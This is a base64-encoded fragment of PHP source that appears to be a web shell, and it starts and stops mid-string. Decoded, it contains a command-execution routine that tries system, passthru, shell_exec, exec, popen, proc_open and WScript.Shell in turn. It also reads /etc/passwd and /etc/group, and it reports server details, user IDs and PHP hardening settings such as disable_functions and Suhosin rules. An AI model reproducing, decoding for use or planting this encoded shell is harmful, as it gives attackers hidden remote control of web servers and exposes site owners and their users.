sICdcJyJcJyJcJycsICR2KS4iJyI7Cn0KCmZ1bmN0aW9uIHdlc2MoJHYpewoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCdeJywgJyYnLCAnXFwnLCAnPCcsICc+JywgJ3wnKSwgYXJyYXkoJ15eJywgJ14mJywgJ15cXCcsICdePCcsICdePicsICdefCcpLCAkdik7Cn0KCmZ1bmN0aW9uIGV4ZSgkY21kLCAkZm5jLCAkc2ggPSAnJywgJHNlID0gVFJVRSwgJG9yID0gJycpIHsKCSRzZSA9ICcyPicgLiAoJHNlID8gJyYxJyA6IChOSVggPyAnL2Rldi9udWxsJyA6ICdudWwnKSkgLiAkb3I7CglpZiAoTklYKQoJCSRzYyA9ICdlY2hvICcgLiBuZXNjKCRjbWQpIC4gJ3wnIC4gKCRzaCA9PT0gJycgPyAnJDAnIDogJHNoKSAuICcgJyAuICRzZSAuICcgJiBleGl0JzsKCWVsc2UKCQkkc2MgPSAoJHNoID09PSAnJyA/ICcoJyAuICRjbWQgLiAnKScgOiAkc2ggLiAnIC9DICcgLiB3ZXNjKCRjbWQpIC4gJyAnKSAuICRzZTsKCXN3aXRjaCAoJGZuYykgewoJCWNhc2UgMDoKCQkJc3lzdGVtKCRzYyk7CgkJCWJyZWFrOwoJCWNhc2UgMToKCQkJcGFzc3RocnUoJHNjKTsKCQkJYnJlYWs7CgkJY2FzZSAyOgoJCQllY2hvIGAkc2NgOwoJCQlicmVhazsKCQljYXNlIDM6CgkJCWVjaG8gc2hlbGxfZXhlYygkc2MpOwoJCQlicmVhazsKCQljYXNlIDQ6CgkJCSRyID0gTlVMTDsKCQkJZXhlYygkc2MsICRyKTsKCQkJaWYgKGlzX2FycmF5KCRyKSkKCQkJCWZvcmVhY2ggKCRyIGFzICR2KQoJCQkJCWVjaG8gJHYsICJcbiI7CgkJCWJyZWFrOwoJCWNhc2UgNToKCQkJaWYgKCRoID0gcG9wZW4oJHNjLCAncicpKSB7CgkJCQl3aGlsZSAoIWZlb2YoJGgpKQoJCQkJCWVjaG8gZnJlYWQoJGgsIDEwMjQpOwoJCQkJcGNsb3NlKCRoKTsKCQkJfQoJCQlicmVhazsKCQljYXNlIDY6CgkJCWlmKCRoID0gcHJvY19vcGVuKCRzYyxhcnJheShhcnJheSgncGlwZScsJ3InKSwgYXJyYXkoJ3BpcGUnLCd3JyksIGFycmF5KCdwaXBlJywnYScpKSwkcCkpewoJCQkJZWNobyBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwWzFdKTsKCQkJCWZjbG9zZSgkcFswXSk7CgkJCQlmY2xvc2UoJHBbMV0pOwoJCQkJcHJvY19jbG9zZSgkaCk7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSA3OgoJCQlpZiAoJGggPSBuZXcgQ09NKCdXU2NyaXB0LlNoZWxsJykpCgkJCQllY2hvICRoLT5FeGVjKCgkc2ggPT09ICcnID8gJ2NtZCcgOiAkc2gpIC4gJyAvQyAnIC4gJGNtZCAuICcgJyAuICRzZSktPlN0ZE91dC0+UmVhZEFsbCgpOwoJCQlicmVhazsKCQljYXNlIDEwMToKCQkJZWNobyBzYWZlbW9kZSgkY21kKTsKCX0KfQoKCmZ1bmN0aW9uIHVOYW1lKCRpZCl7CglpZigkaWQgPT09IC0xKSByZXR1cm4nPyc7CgkKCXN0YXRpYyAkYSA9IE5VTEwsICRmID0gRkFMU0U7CgkKCWlmKCRhID09PSBOVUxMKXsKCQlpZigkdiA9IGdldEZpbGUoJy9ldGMvcGFzc3dkJykpewoJCQkkYSA9IGFycmF5KCk7CgkJCSR2ID0gZXhwbG9kZSgiXG4iLCAkdik7CgkJCWZvcmVhY2goJHYgYXMgJGkpCgkJCQlpZigkaSl7CgkJCQkJJGkgPSBleHBsb2RlKCc6JywkaSw0KTsKCQkJCQkkYVskaVsyXV09JGlbMF07CgkJCQl9CgkJfQoJCWVsc2VpZihkZWZpbmVkKCdQT1NJWF9GX09LJykgfHwgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQoJCQkkZiA9IChib29sKXBvc2l4X2dldHB3dWlkKDApOwoJfQoJCglpZigkYSkKCQlpZihpc3NldCgkYVskaWRdKSkgcmV0dXJuICRhWyRpZF07CgllbHNlaWYoJGYpCgkJaWYoJHYgPSBwb3NpeF9nZXRwd3VpZCgkaWQpKSByZXR1cm4gJHZbJ25hbWUnXTsKCQoJcmV0dXJuICRpZDsKfQoKZnVuY3Rpb24gZ05hbWUoJGlkKXsKCWlmKCRpZCA9PT0gLTEpIHJldHVybic/JzsKCQoJc3RhdGljICRhID0gTlVMTCwgJGYgPSBGQUxTRTsKCQoJaWYoJGEgPT09IE5VTEwpewoJCWlmKCR2ID0gZ2V0RmlsZSgnL2V0Yy9ncm91cCcpKXsKCQkJJGEgPSBhcnJheSgpOwoJCQkkdiA9IGV4cGxvZGUoIlxuIiwkdik7CgkJCWZvcmVhY2goJHYgYXMkaSkKCQkJCWlmKCRpKXsKCQkJCQkkaSA9IGV4cGxvZGUoJzonLCAkaSwgNCk7CgkJCQkJJGFbJGlbMl1dID0gJGlbMF07CgkJCQl9CgkJfQoJCWVsc2VpZihkZWZpbmVkKCdQT1NJWF9GX09LJykgfHwgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSAkZiA9IChib29sKXBvc2l4X2dldGdyZ2lkKDApOwoJfQoKCWlmKCRhKQoJCWlmKGlzc2V0KCRhWyRpZF0pKSByZXR1cm4gJGFbJGlkXTsKCWVsc2VpZigkZikKCQlpZigkdiA9IHBvc2l4X2dldGdyZ2lkKCRpZCkpIHJldHVybiAkdlsnbmFtZSddOwoJCglyZXR1cm4kaWQ7Cgp9CgpmdW5jdGlvbiBnZXRJTkkoJHMsICYkdil7CgkkdiA9IHRyaW0oaW5pX2dldCgkcykpOwoJcmV0dXJuICR2IT09Jyc7Cn0KCmZ1bmN0aW9uIGlzSU5JKCR2KXsKCSR2ID0gc3RydG9sb3dlcih0cmltKGluaV9nZXQoJHYpKSk7CglyZXR1cm4gKCR2ID09PSAnMScgfHwgJHYgPT09ICdvbicpOwp9CgpmdW5jdGlvbiBzYW1lUGF0aCgkYSl7CgkkcCA9IE5VTEw7Cglmb3JlYWNoKCRhIGFzICR2KXsKCQkkdiA9IGFycmF5X3NsaWNlKGV4cGxvZGUoRFNDLCBydHJpbSgkdixEU0MpKSwgMCwgLTEpOwoJCWlmKCRwID09PSBOVUxMKSAkcCA9ICR2OwoJCWVsc2V7CgkJCSRrPWFycmF5KCk7CgkJCSRjPWNvdW50KCRwKTsKCQkJJGk9Y291bnQoJHYpOwoJCQlpZigkaSA8ICRjKSAkYz0kaTsKCQkJZm9yKCRpPTA7ICRpIDwgJGM7ICsrJGkpCgkJCWlmKCRwWyRpXSA9PT0gJHZbJGldKSAka1tdID0gJHBbJGldOwoJCQllbHNlCgkJCQlicmVhazsKCQkJJHAgPSAkazsKCQkJaWYoJGk9PT0wKSBicmVhazsKCQkJfQoJfQoJCglyZXR1cm4gY291bnQoJHApID09PSAwID8gJyc6IGltcGxvZGUoRFNDLCAkcCkuRFNDOwp9CgpmdW5jdGlvbiBlc2NGaWxlTmFtZSgkdil7CglyZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyUnLCcvJywnXFwnLCc6JywnKicsJz8nLCciJywnPCcsJz4nLCd8JyksIGFycmF5KCclMjUnLCJceGUyXHg5NVx4YjEiLCJceGUyXHg5NVx4YjIiLCJceGVhXHg5ZVx4ODkiLCJceGUyXHg4OFx4OTciLCAnJTNGJywgIlx4ZTJceDgwXHg5ZiIsICclM0MnLCAnJTNFJywiXHhlMlx4ODhceGEzIiksICR2KTsKfQoKZnVuY3Rpb24gaW5mTWFpbigkaCA9IEZBTFNFKXsKCWVjaG8gJGggPyAnPHRhYmxlIGlkPSJ0YmxJbmYiPjx0ciB0aXRsZT0iSFRUUCBIb3N0LCBTZXJ2ZXIgQWRkciwgU2VydmVyIE5hbWUsIEhvc3QgTmFtZSwgSG9zdCBJUCI+PHRoPicgOiAnW3siJywnQWRkcmVzcycsICRoID8gJzwvdGg+PHRkPicgOiAnIjonOwoJJGEgPSBhcnJheSgpOwoJCglmb3JlYWNoKGFycmF5KCdIVFRQX0hPU1QnLCdTRVJWRVJfQUREUicsJ1NFUlZFUl9OQU1FJykgYXMgJHYpCgkJaWYoaXNzZXQoJF9TRVJWRVJbJHZdKSl7CgkJCSR2ID0gdHJpbSgkX1NFUlZFUlskdl0pOwoJCQlpZigkdiE9PScnJiYhaW5fYXJyYXkoJHYsJGEpKSRhW109JHY7CgkJfQoJCQoJCWlmKCR2ID0gcGhwX3VuYW1lKCduJykpewoJCQkkdiA9IHRyaW0oJHYpOwoJCQlpZigkdiAhPT0gJycgJiYgIWluX2FycmF5KCR2LCRhKSkgJGFbXSA9ICR2OwoJCX0KCQkKCQlpZihQSFBfVkVSU0lPTj49JzUuMycgJiYgKCR2ID0gZ2V0aG9zdG5hbWUoKSkpewoJCQkkdiA9IHRyaW0oJHYpOwoJCQlpZigkdiAhPT0gJycgJiYgIWluX2FycmF5KCR2LCRhKSkgJGFbXSA9ICR2OwoJCX0KCQkKCQkkcj0nJzsKCQlmb3JlYWNoKCRhIGFzICRrID0+ICR2KXsKCQkJaWYoJGsgPiAwKSAkci49JyAvICc7CgkJCSRyIC49ICR2OwoJCQlpZigkaT1nZXRob3N0YnluYW1lbCgkdikpewoJCQkJJGIgPSBGQUxTRTsKCQkJCWZvcmVhY2goJGkgYXMgJHYpCgkJCQkJaWYoIWluX2FycmF5KCR2LCAkYSkpewoJCQkJCQkkYVtdID0gJHY7CgkJCQkJCWlmKCRiKSAkciAuPSAnLCAnOwoJCQkJCQllbHNleyRiID0gVFJVRTsgJHIgLj0gJyAoJzt9ICRyIC49ICR2OwoJCQkJCX0KCQkJCQkKCQkJCQlpZigkYikgJHIgLj0gJyknOwoJCQl9CgkJCWVsc2VpZigoJGkgPSBnZXRob3N0YnluYW1lKCR2KSkgJiYgIWluX2FycmF5KCR2LCAkYSkpewoJCQkJJGFbXSA9ICR2OwoJCQkJJHIgLj0gJyAoJy4kdi4nKSc7CgkJCX0KCQl9CgkJCgkJaWYoJGgpIGVjaG8gZXNjSFRNTCgkcik7CgkJZWxzZSBqc29uRWNobygkcik7CgkJCgkJZWNobyAkaCA/ICc8L3RkPjwvdHI+PHRyPjx0aD4nIDogJywiJywnU3lzdGVtJywgJGggPyAnPC90aD48dGQ+JyA6ICciOic7CgkJCgkJJHIgPSAnJzsKCQlpZigoJHYgPSB0cmltKHBocF91bmFtZSgncycpLicgJy5waHBfdW5hbWUoJ3InKS4nICcucGhwX3VuYW1lKCd2JykuJyAnLnBocF91bmFtZSgnbScpKSkgIT09ICcnKSAkciA9ICR2OwoJCWVsc2VpZihOSVggJiYgKCR2ID0gZ2V0RmlsZSgnL3Byb2MvdmVyc2lvbicpKSkgJHIgPSAkdjsKCQllbHNlewoJCQlpZihkZWZpbmVkKCdQSFBfT1MnKSkgJHIgPSBQSFBfT1M7CgkJCWVsc2UgJHIgPSBOSVggPyAnKk5JWCcgOiAnV2luZG93cyc7CgkJCQoJCQlpZighTklYKXsKCQkJCSRhID0gYXJyYXkoKTsKCQkJCWZvcmVhY2goYXJyYXkoJ1BIUF9XSU5ET1dTX1ZFUlNJT05fTUFKT1InLCdQSFBfV0lORE9XU19WRVJTSU9OX01JTk9SJywnUEhQX1dJTkRPV1NfVkVSU0lPTl9CVUlMRCcpIGFzICR2KSBpZihkZWZpbmVkKCR2KSkgJGFbXSA9IGNvbnN0YW50KCR2KTsKCQkJCQoJCQkJaWYoJGEpICRyIC49JyAnLmltcGxvZGUoJy4nLCAkYSk7CgkJCQlpZihkZWZpbmVkKCdQSFBfV0lORE9XU19WRVJTSU9OX1NQX01BSk9SJykgJiYgUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NQUpPUiA+IDApewoJCQkJCSRyIC49ICcgU1AnLlBIUF9XSU5ET1dTX1ZFUlNJT05fU1BfTUFKT1I7CgkJCQkJaWYoZGVmaW5lZCgnUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NSU5PUicpICYmIFBIUF9XSU5ET1dTX1ZFUlNJT05fU1BfTUlOT1IgPiAwKSAkciAuPSAnLicuUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NSU5PUjsKCQkJCX0KCQkJfQoJCX0KCQkKCQlpZihOSVggJiYgKCgkdiA9IHRyaW0oZ2V0RmlsZSgnL2V0Yy9pc3N1ZS5uZXQnKSkpICE9PSAnJyB8fCAoJHYgPSB0cmltKGdldEZpbGUoJy9ldGMvaXNzdWUnKSkpICE9PSAnJykpICRyIC49ICcgKCcuJHYuJyknOwoJCQoJCWlmKCRoKQoJCQllY2hvIGVzY0hUTUwoJHIpOwoJCWVsc2UKCQkJanNvbkVjaG8oJHIpOwoJCQoJCWlmKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKXsKCQkJZWNobyAkaCA/JzwvdGQ+PC90cj48dHI+PHRoPicgOiAnLCInLCdTZXJ2ZXInLCAkaCA/ICc8L3RoPjx0ZD4nOiciOic7CgkJCWlmKCRoKQoJCQkJZWNobyBlc2NIVE1MKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7CgkJCWVsc2UKCQkJCWpzb25FY2hvKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7CgkJfQoJCQoJCWVjaG8gJGggPyAnPC90ZD48L3RyPjx0cj48dGg+JyA6ICcsIicsJ1NvZnR3YXJlJywgJGggPyAnPC90aD48dGQ+JyA6ICciOic7CgkJCgkJJHIgPSAnUEhQLycuUEhQX1ZFUlNJT047CgkJCgkJaWYoZGVmaW5lZCgnU1VIT1NJTl9QQVRDSF9WRVJTSU9OJykpICRyIC49ICcgd2l0aCBTdWhvc2luIHBhdGNoLycuU1VIT1NJTl9QQVRDSF9WRVJTSU9OOwoJCQoJCSRyIC49ICc7ICc7CgkJaWYoZGVmaW5lZCgnQ1VSTEVfT0snKSl7CgkJCSRyIC49ICdjVVJMJzsKCQkJJHYgPSBjdXJsX3ZlcnNpb24oKTsKCQkJaWYoaXNzZXQoJHZbJ3ZlcnNpb24nXSkpICRyLj0nLycuJHZbJ3ZlcnNpb24nXTsKCQkJJHIuPSc7ICc7CgkJfQoJCQoJCWlmKCR2ID0gcGhwdmVyc2lvbignU3Vob3NpbicpKSAkci49JyBTdWhvc2luLycuJHY7CgkJCgkJaWYoJGgpCgkJCWVjaG8gZXNjSFRNTCgkcik7CgkJZWxzZQoJCQlqc29uRWNobygkcik7CgkJCQoJCWVjaG8gJGggPyAnPC90ZD48L3RyPjx0cj48dGg+JyA6ICcsIicsJ1VzZXInLCAkaCA/ICc8L3RoPjx0ZD4nIDogJyI6JzsKCQkKCQkkcj0nJzsKCQkkYSA9IGFycmF5KCk7CgkJaWYoTklYKXsKCQkJaWYoZGVmaW5lZCgnUE9TSVhfRl9PSycpIHx8IGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpKXsKCQkJCWlmKGlzX2ludCgkdiA9IHBvc2l4X2dldGV1aWQoKSkpICRyIC49ICdldWlkPScuJHYuJygnLnVOYW1lKCR2KS4nKTsgJzsKCQkJCWlmKGlzX2ludCgkdiA9IHBvc2l4X2dldGVnaWQoKSkpICRyIC49ICdlZ2lkPScuJHYuJygnLmdOYW1lKCR2KS4nKTsgJzsKCQkJfQoJCQkKCQkJaWYoaXNfaW50KCR2ID0gZ2V0bXl1aWQoKSkpICRyIC49ICdvdWlkPScuJHYuJygnLnVOYW1lKCR2KS4nKTsgJzsKCQkJaWYoaXNfaW50KCR2ID0gZ2V0bXlnaWQoKSkpICRyIC49ICdvZ2lkPScuJHYuJygnLmdOYW1lKCR2KS4nKTsgJzsKCQl9CgkJCgkJJGIgPSBGQUxTRTsKCQkKCQlmb3JlYWNoKGFycmF5KCdSRU1PVEVfQUREUicsJ0hUVFBfWF9SRUFMX0lQJywnSFRUUF9DTElFTlRfSVAnLCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpIGFzICRpKXsKCQkJaWYoIWVtcHR5KCRfU0VSVkVSWyRpXSkpewoJCQkJaWYoJGIpCgkJCQkJJHIuPSAnLCAnOwoJCQkJZWxzZXsKCQkJCQkkYiA9IFRSVUU7CgkJCQkJJHIgLj0gJ0lQOiAnOwoJCQkJfQoJCQkJCgkJCQkkciAuPSAkX1NFUlZFUlskaV07CgkJCX0KCQl9CgkJCgkJaWYoJGIpCgkJCSRyIC49ICc7JzsKCQlpZigkaCkKCQkJZWNobyBlc2NIVE1MKCRyKTsKCQllbHNlCgkJCWpzb25FY2hvKCRyKTsKCQkKCQllY2hvICRoID8gJzwvdGQ+PC90cj48dHI+PHRoIGNvbHNwYW49IjIiPjwvdGg+PC90cj48dHI+PHRoPic6J30seyInLCdTYWZlIG1vZGUnLCAkaCA/ICc8L3RoPjx0ZD4nIDogJyI6JzsKCQkKCQlpZihpc0lOSSgnc2FmZV9tb2RlJykpewoJCQkkdiA9IGlzSU5JKCdzYWZlX21vZGVfZ2lkJykgPyAnR0lEJzonVUlEJzsKCQkJZWNobyAkaCA/ICR2IDogJyInLiR2LiciJzsKCQkJZm9yZWFjaChhcnJheSgnSW5jbHVkZSBkaXInID0+ICdzYWZlX21vZGVfaW5jbHVkZV9kaXInLCdFeGVjIGRpcicgPT4gJ3NhZmVfbW9kZV9leGVjX2RpcicsICdWYXJzIHByZWZpeGVzJyA9PiAnc2FmZV9tb2RlX2FsbG93ZWRfZW52X3ZhcnMnLCAnUHJvdGVjdGVkIHZhcnMnID0+ICdzYWZlX21vZGVfcHJvdGVjdGVkX2Vudl92YXJzJykgYXMgJGsgPT4gJHYpewoJCQkJaWYoIWdldElOSSgkdiwgJHYpKSAkdiA9ICctJzsKCQkJCQoJCQkJZWNobyAkaCA/ICc8L3RkPjwvdHI+PHRyPjx0aD4nIDogJywiJywgJGssICRoPyc8L3RoPjx0ZD4nIDogJyI6JzsKCQkJCWlmKCRoKQoJCQkJCWVjaG8gZXNjSFRNTCgkdik7CgkJCQllbHNlCgkJCQkJanNvbkVjaG8oJHYpOwoJCQl9CgkJfQoJCWVsc2UKCQkJZWNobyAkaCA/ICctJyA6ICciLSInOwoJCQoJCWVjaG8gJGggPyAnPC90ZD48L3RyPicgOiAnJzsKCQlmb3JlYWNoKGFycmF5KCdPcGVuIGJhc2VkaXInID0+ICdvcGVuX2Jhc2VkaXInLCAnRGlzYWJsZWQgZnVuY3Rpb25zJyA9PiAnZGlzYWJsZV9mdW5jdGlvbnMnLCAnRGlzYWJsZWQgY2xhc3NlcycgPT4gJ2Rpc2FibGVfY2xhc3NlcycpIGFzICRrID0+ICR2KXsKCQkJaWYoIWdldElOSSgkdiwgJHYpKSAkdiA9ICctJzsKCQkJZWNobyAkaCA/ICc8dHI+PHRoPicgOiAnLCInLCAkaywgJGggPyAnPC90aD48dGQ+JyA6ICciOic7CgkJCWlmKCRoKQoJCQkJZWNobyBlc2NIVE1MKCR2KSwnPC90ZD48L3RyPic7CgkJCWVsc2UKCQkJCWpzb25FY2hvKCR2KTt9CgkJCQoJCQlpZihnZXRJTkkoJ3N1aG9zaW4uc2ltdWxhdGlvbicsICR2KSl7CgkJCQllY2hvICRoID8gJzx0cj48dGggY29sc3Bhbj0iMiI+PC90aD48L3RyPjx0cj48dGg+JyA6ICd9LHsiJywgJ1N1aG9zaW4gbW9kZScsICRoID8gJzwvdGg+PHRkPicgOiAnIjoiJywgJHYgPyAnc2ltdWxhdGlvbicgOiAnYnJlYWsnLCAkaCA/ICc8L3RkPjwvdHI+PHRyPjx0aD4nIDogJyIsIicsJ0FsbG93IHJld3JpdGUnLCAkaCA/ICc8L3RoPjx0ZD4nIDogJyI6JzsKCQkJCQoJCQlpZighZ2V0SU5JKCdzdWhvc2luLnBlcmRpcicsICR2KSB8fCAhJHYpICR2ID0gJy0nOwoJCQkKCQkJaWYoJGgpCgkJCQllY2hvIGVzY0hUTUwoJHYpLCc8L3RkPjwvdHI+JzsKCQkJZWxzZSBqc29uRWNobygkdik7CgkJCQoJCQlmb3JlYWNoKGFycmF5KCdGdW5jdGlvbnMgd2hpdGVsaXN0JyA9PiAnc3Vob3Npbi5leGVjdXRvci5mdW5jLndoaXRlbGlzdCcsICdGdW5jdGlvbnMgYmxhY2tsaXN0JyA9PiAnc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCcsICdFdmFsIHdoaXRlbGlzdCcgPT4gJ3N1aG9zaW4uZXhlY3V0b3IuZXZhbC53aGl0ZWxpc3QnLCAnRXZhbCBibGFja2xpc3QnID0+ICdzdWhvc2luLmV4ZWN1dG9yLmV2YWwuYmxhY2tsaXN0JykgYXMgJGsgPT4gJHYpewoJCQkJaWYoIWdldElOSSgkdiwgJHYpKSAkdiA9ICctJzsKCQkJCWVjaG8gJGggPyAnPHRyPjx0aD4nIDogJywiJywgJGssICRoID8gJzwvdGg+PHRkPicgOiAnIjonOwoJCQkJaWYoJGgpCgkJCQkJZWNobyBlc2NIVE1MKCR2KSwnPC90ZD48L3RyPic7CgkJCQllbHNlIGpzb25FY2hvKCR2KTsKCQkJfQoJCQkKCQkJJGEgPSBhcnJheSgnZXZhbCcgPT4gJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJywgJy9lIG1vZGlmaWVyJyA9PiAnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2Vtb2RpZmllcicpOwoJCQkKCQkJJGkgPSBhcnJheSgpOwoJCQlmb3JlYWNoKCRhIGFzJGsgPT4gJHYpCgkJCQlpZihpc0lOSSgkdikpICRpW10gPSAkazsKCQkJCWVjaG8gJGggPyAnPHRyPjx0aD4nIDogJywiJywgJ0Rpc2FibGVkJywgJGggPyc8L3RoPjx0ZD4nIDogJyI6IicsICRpID8gaW1wbG9kZSgnLCAnLCAkaSkgOiAnLScsICRoID8gJzwvdGQ+PC90cj4nIDogJyInOwoJCQkJaWYoaXNJTkkoJ3N1aG9zaW4ubG9nLmZpbGUnKSAmJiBnZXRJTkkoJ3N1aG9zaW4ubG9nLmZpbGUubmFtZScsICR2KSl7CgkJCQkJZWNobyAkaCA/ICc8dHI+PHRoPicgOiAnLCInLCdMb2cgZmlsZScsICRoID8gJzwvdGg+PHRkPicgOiAnIjonOwoJCQkJCWlmKCRoKQoJCQkJCQllY2hvIGVzY0hUTUwoJHYpLCc8L3RkPjwvdHI+JzsKCQkJCQllbHNlCgkJCQkJCWpzb25FY2hvKCR2KTsKCQkJCX0KCQl9CgkJCgllY2hvICRoID8gJzwvdGFibGU+JyA6ICd9XSc7Cn0KCgpmdW5jdGlvbiBwYXJzZVBhdGgoJHAsICYkYiwgJiRuKXsKCSR2ID0gcnRyaW0oJHAsIERTQyk7CgkkaSA9IHN0cnJwb3MoJHYsRFNDKTsKCWlmKCRpID09PSBGQUxTRSl7CgkJaWYoIU5JWCAmJiBzdHJsZW4oJHYpID09PSAyICYmICR2WzFdID09PSAnOicpewoJCQkkYiA9ICR2LkRTQzsKCQkJJG4gPSAnJzsKCQl9CgkJZWxzZXsKCQkJJGIgPSBEU0M7CgkJCSRuID0gJHY7CgkJfQoJfQoJZWxzZXsKCQkkYiA9IHN1YnN0cigkdiwwLCRpKzEpOwoJCSRuID0gc3Vic3RyKCR2LCRpKzEpOwoJfQp9CgoKY2xhc3MgRmlsZUluZm97CgkKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCR2KXsKCQlpZihpc19zdHJpbmcoJHYpKXsKCQkJJHRoaXMtPmZiID0gJyc7CgkJCSR0aGlzLT5mbj0gJycgOwoJCQkKCQkJcGFyc2VQYXRoKCR2LCAkdGhpcy0+ZmIsICR0aGlzLT5mbik7CgkJCSR0aGlzLT5mcCA9ICR0aGlzLT5mYi4kdGhpcy0+Zm47CgkJfQoJCWVsc2V7CgkJCSR0aGlzLT5maSA9ICR2OwoJCQkkdGhpcy0+ZnAgPSAkdi0+Z2V0UGF0aE5hbWUoKTsKCQkJJHRoaXMtPmZiID0gJHYtPmdldFBhdGgoKTsKCQkJJHRoaXMtPmZuID0gJHYtPmdldEZpbGVOYW1lKCk7CgkJfQoJCQoJCSR0aGlzLT5ycCA9ICR0aGlzLT5mcDsKCQlpZigkdGhpcy0+aXNMaW5rKCkpewoJCQkkdGhpcy0+cnAgPSAkdGhpcy0+Z2V0TGlua1RhcmdldCgpOwoJCQlpZihpc3NldCgkdGhpcy0+dCkpIHVuc2V0KCR0aGlzLT50KTsKCQkJaWYoaXNzZXQoJHRoaXMtPmZpKSkgdW5zZXQoJHRoaXMtPmZpKTsKCQl9Cgl9CgkKCWZ1bmN0aW9uIGdldFBhdGgoKXsKCQlyZXR1cm4kdGhpcy0+ZmI7Cgl9CgkKCWZ1bmN0aW9uIGdldEZpbGVOYW1lKCl7CgkJcmV0dXJuJHRoaXMtPmZuOwoJfQoJCglmdW5jdGlvbiBnZXRQYXRoTmFtZSgpewoJCXJldHVybiR0aGlzLT5mcDsKCX0KCQoJZnVuY3Rpb24gaXNEaXIoKXsKCQlpZihpc3NldCgkdGhpcy0+ZCkpIHJldHVybiR0aGlzLT5kOwoJCWlmKCFpc3NldCgkdGhpcy0+cCkpICR0aGlzLT5nZXRQZXJtcygpOwoJCWlmKCR0aGlzLT5wICE9PSAwKXsKCQkJJHRoaXMtPmQgPSAoJHRoaXMtPnAgJiAwMTcwMDAwKSA9PT0gMDA0MDAwMDsKCQkJcmV0dXJuICR0aGlzLT5kOwoJCX0KCQlpZighaXNzZXQoJHRoaXMtPnQpKSAkdGhpcy0+dHlwZSgpOwoJCWlmKCR0aGlzLT50ICE9PSBGQUxTRSl7CgkJCSR0aGlzLT5kID0gJHRoaXMtPnQgPT09ICdkaXInOwoJCQlyZXR1cm4gJHRoaXMtPmQ7CgkJfQoJCQoJCSR2ID0gaXNfZGlyKCR0aGlzLT5mcCk7CgkJaWYoaXNfYm9vbCgkdikpewoJCQkkdGhpcy0+ZCA9ICR2OwoJCQlyZXR1cm4gJHY7CgkJfQoJCWlmKFBIUF9WRVJTSU9OPj0nNScpIDogaWYoIWlzc2V0KCR0aGlzLT5maSkpICR0aGlzLT5zcGwoKTsKCQlpZigkdGhpcy0+ZmkgIT09IEZBTFNFKXsKCQkJdHJ5ewoJCQkJJHYgPSAkdGhpcy0+ZmktPmlzRGlyKCk7CgkJCX0KCQkJY2F0Y2goRXhjZXB0aW9uICRlKXsKCQkJCSR2ID0gTlVMTDsKCQkJfQoJCQlpZihpc19ib29sKCR2KSl7CgkJCQkkdGhpcy0+ZCA9ICR2OwoJCQkJcmV0dXJuICR2OwoJCQl9CgkJfQoJCWVuZGlmOwoJCSR0aGlzLT5kID0gRkFMU0U7CgkJCgkJcmV0dXJuIEZBTFNFOwoJfQoJCglmdW5jdGlvbiBpc0xpbmsoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5sKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5sOwoJICAgIAoJICAgICR2ID0gbHN0YXQoJHRoaXMtPmZwKTsKCSAgICAKCSAgICBpZiAoaXNfYXJyYXkoJHYpKSB7CgkgICAgICAgICR0aGlzLT5sID0gKCR2WzJdICYgMDE3MDAwMCkgPT09IDAxMjAwMDA7CgkgICAgICAgIHJldHVybiAkdGhpcy0+bDsKCSAgICB9CgkgICAgaWYgKCFpc3NldCgkdGhpcy0+dCkpCgkgICAgICAgICR0aGlzLT50eXBlKCk7CgkgICAgaWYgKCR0aGlzLT50ICE9PSBGQUxTRSkgewoJICAgICAgICAkdGhpcy0+bCA9ICR0aGlzLT50ID09PSAnbGluayc7CgkgICAgICAgIHJldHVybiAkdGhpcy0+bDsKCSAgICB9CgkgICAgJHYgPSBpc19saW5rKCR0aGlzLT5mcCk7CgkgICAgaWYgKGlzX2Jvb2woJHYpKSB7CgkgICAgICAgICR0aGlzLT5sID0gJHY7CgkgICAgICAgIHJldHVybiAkdjsKCSAgICB9CgkgICAgaWYgKFBIUF9WRVJTSU9OID49ICc1Jyk6CgkgICAgICAgIGlmICghaXNzZXQoJHRoaXMtPmZpKSkKCSAgICAgICAgICAgICR0aGlzLT5zcGwoKTsKCSAgICAgICAgaWYgKCR0aGlzLT5maSAhPT0gRkFMU0UpIHsKCSAgICAgICAgICAgIHRyeSB7CgkgICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+ZmktPmlzTGluaygpOwoJICAgICAgICAgICAgfQoJICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJICAgICAgICAgICAgICAgICR2ID0gTlVMTDsKCSAgICAgICAgICAgIH0KCSAgICAgICAgICAgIGlmIChpc19ib29sKCR2KSkgewoJICAgICAgICAgICAgICAgICR0aGlzLT5sID0gJHY7CgkgICAgICAgICAgICAgICAgcmV0dXJuICR2OwoJICAgICAgICAgICAgfQoJICAgICAgICB9CgkgICAgZW5kaWY7CgkgICAgJHRoaXMtPmwgPSBGQUxTRTsKCSAgICByZXR1cm4gRkFMU0U7Cgl9CgkKCWZ1bmN0aW9uIGdldExpbmtUYXJnZXQoKSB7CgkgICAgaWYgKGlzc2V0KCR0aGlzLT5mKSkKCSAgICAgICAgcmV0dXJuICR0aGlzLT5mOwoJICAgIGlmIChOSVggfHwgUEhQX1ZFUlNJT04gPj0gJzUuMycpIHsKCSAgICAgICAgJHYgPSByZWFkbGluaygkdGhpcy0+ZnApOwoJICAgICAgICBpZiAoaXNfc3RyaW5nKCR2KSkgewoJICAgICAgICAgICAgJHRoaXMtPmYgPSAkdjsKCSAgICAgICAgI